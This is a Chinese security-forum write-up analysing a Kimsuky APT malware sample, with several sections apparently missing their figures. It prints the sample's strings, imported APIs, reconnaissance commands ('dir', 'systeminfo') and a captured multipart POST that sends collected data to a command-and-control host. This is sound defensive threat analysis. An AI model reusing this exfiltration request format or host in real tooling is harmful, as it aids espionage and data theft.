其他
一个KimsukyAPT样本分析
本文为看雪论坛精华文章
看雪论坛作者ID:LarryS
目录
一. 基础静态分析获取信息
1.1 字符串
1.2 导入函数
1.3 资源段信息
二. 基础动态分析获取信息
2.1 火绒剑的输出
2.2 Wireshark抓包结果
三. 详细分析
3.1 主程序
3.2 线程函数
3.2.1 sub_11B4250
3.2.2 sub_11B49E0
3.2.3 sub_11B45C0
四. 简单总结
一. 基础静态分析获取信息
1.1 字符串
mscoree.dll
/c dir %s/ >> %s
/c systeminfo >> %s
/Microsoft/HNC
wct.docx
tcf.bin
portable.epizy.com
img/png/post.php
img/png/download.php
images01
Content-Type: application/x-www-form-urlencoded
Mozilla/5.0
Content-Disposition: form-data; name="MAX_FILE_SIZE"
Content-Disposition: form-data; name="userfile"; filename="
Content-Type: application/octet-stream
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG
Accept-Language: en-us
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)
Host: %s
Referer: http://%s%s
JUYFON
1.2 导入函数
FindResourceA
SizeofResource
LoadResource
LockResource // 验证了样本确实对资源段内容进行了操作
IsDebuggerPresent
OutputDebugStringW
QueryPerformanceCounter // 反调试?反虚拟机?
FindClose
FindFirstFileExA
FindNextFileA // 文件夹遍历
ShellExecuteExA
ShellExecuteA // 命令执行
CreateFileA
DeleteFileA
WriteFile // 文件操作
CreateThread // 创建线程
1.3 资源段信息
二. 基础动态分析获取信息
2.1 火绒剑的输出
/c dir C:/Users/zoem/Desktop/
/c dir C:/Users/zoem/AppData/Roaming/MICROS~1/Windows/Recent/
/c dir C:/PROGRA~1/
/c systeminfo
2.2 Wireshark抓包结果
POST http://portable.epizy.com/img/png/post.php HTTP/1.1
Accept: */*
Host: portable.epizy.com
Referer: http://portable.epizy.comimg/png/post.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)
Content-Length: 5897
Proxy-Connection: Keep-Alive
Pragma: no-cache
------WebKitFormBoundarywhpFxMBe19cSjFnG
Content-Disposition: form-data; name="MAX_FILE_SIZE"
10000000
------WebKitFormBoundarywhpFxMBe19cSjFnG
Content-Disposition: form-data; name="userfile"; filename="images01"
Content-Type: application/octet-stream
ªÓ¨møÂ|ÒÖ9)f Ñ
……
……
------WebKitFormBoundarywhpFxMBe19cSjFnG
三. 详细分析
3.1 主程序
3.2 线程函数
FileName: C:/Users/zoem/AppData/Roaming/MICROS~1/HNC/wct.docx
byte_11CDBB8: C:/Users/zoem/AppData/Roaming/MICROS~1/HNC/tcf.bin
3.2.1 sub_11B4250
3.2.2 sub_11B49E0
.text:010A4D1B F3 0F 7E 05 48 91 0B 01 movq xmm0, qword ptr ds:aWebkitformboun+20h ;
.text:010A4D23 66 0F D6 85 E8 FE FF FF movq [ebp+var_118], xmm0
3.2.3 sub_11B45C0
四. 简单总结
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
*本文由看雪论坛 LarryS 原创,转载请注明来自看雪社区。
本文参与了#看雪30天发帖打卡挑战#活动。
发帖见证成长,坚持见证不凡。
不仅可以收获进步,还可赢取物质奖励哦!
想要了解更多活动详情,戳 ↓
另外,贴心提示本次再印刷还没购买0day安全正版书籍的小伙伴抓紧时间啦!
点击以下小程序即可预购!
推荐文章++++
求分享
求点赞
求在看